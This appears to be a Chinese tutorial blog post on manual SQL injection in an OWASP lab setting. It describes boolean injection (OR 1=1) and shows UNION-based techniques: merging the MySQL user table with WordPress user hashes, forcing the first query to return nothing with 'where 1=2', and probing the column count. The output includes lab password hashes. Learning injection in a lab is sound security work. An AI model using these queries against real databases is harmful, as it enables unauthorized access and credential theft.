owasp SQL 手工注入 - 02 (技巧)

SQL 注入分为: 布尔注入,还有union 注入,布尔注入是指" 或" 和",这个注入,写成语句就是OR 1=1 , and 这种语句。

下面重点说一下union 注入的原理:

1: 先看两个表union 的结果:

mysql> select user,password,host from mysql.user union select user_login,user_pass, 3 from wordpress.wp_users limit 5;

+------------------+-------------------------------------------+---------------+

| user | password | host |

+------------------+-------------------------------------------+---------------+

| root | *73316569DAC7839C2A784FF263F5C0ABBC7086E2 | localhost |

| root | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | brokenwebapps |

| root | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | 127.0.0.1 |

| debian-sys-maint | *75F15FF5C9F06A7221FEB017724554294E40A327 | localhost |

| phpmyadmin | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | localhost |

+------------------+-------------------------------------------+---------------+

5 rows in set (0.00 sec)

2: 上面的是两个表的链接后的结果,如果要后面表的结果,可以把前面的表的条件写成" 不成立"

mysql> select user,password,host from mysql.user where 1=2 union select user_login,user_pass, 3 from wordpress.wp_users limit 5;

+-------+----------------------------------+------+

| user | password | host |

+-------+----------------------------------+------+

| admin | 21232f297a57a5a743894a0e4a801fc3 | 3 |

| user | ee11cbb19052e40b07aac0ca060c23ee | 3 |

+-------+----------------------------------+------+

2 rows in set (0.00 sec)

可以看出上面的结果是第二表的内容,这个就是union 的目的。

可以用下面的语句来测试后表的字段:

mysql> select *from dvwa.users union select 1;

mysql> select *from dvwa.users union select 1,2;

mysql> select *from dvwa.users union select 1,2,3;

mysql> select *from dvwa.users union select 1,2,3,4;

mysql> select *from dvwa.users union select 1,2,3,4,5;

参考文献: 黑客攻防 从入门到入狱【网络安全】_哔哩哔哩_bilibili

相关推荐
麻瓜code11 小时前
【MySQL】SQL优化实战:从慢查询定位到查询改写
数据库·sql·mysql
蓝鸟197412 小时前
Oracle HIS业务视图优化实战|VI_BQ_YWTX11从高耗费到秒级响应
数据库·oracle·his数据库调优·复合索引踩坑·is null索引问题·ql视图优化
数智启示录12 小时前
Apache Doris 4.0.8 混合检索实战(第 5 篇):三套系统只返回两条结果,一条 SQL 如何避开交集丢失
大数据·数据库·经验分享·sql·面试
今天AI了吗12 小时前
大模型技术全景(一):AI、机器学习、深度学习,三者的关系到底是什么?一文搞懂
数据库·人工智能·python·sql·深度学习·机器学习·rust
这个DBA有点耶12 小时前
RANGE/LIST/HASH/二级分区怎么选?分区表适用边界与隐藏代价
数据库·mysql·dba
离陌在学C#12 小时前
C# 异步编程:从 async/await 到 Task 实战指南
开发语言·数据库·c#
2601_9620746813 小时前
Spring Boot的无缝衔接:深入解析与实践
数据库·spring boot·后端
武帝为此13 小时前
【InnoDB存储引擎介绍】
数据库·算法
csdn_aspnet13 小时前
mysql 触发器写法及示例
数据库·mysql·触发器·trigger
CJi0NG14 小时前
【自用】MySQL-概述
数据库·mysql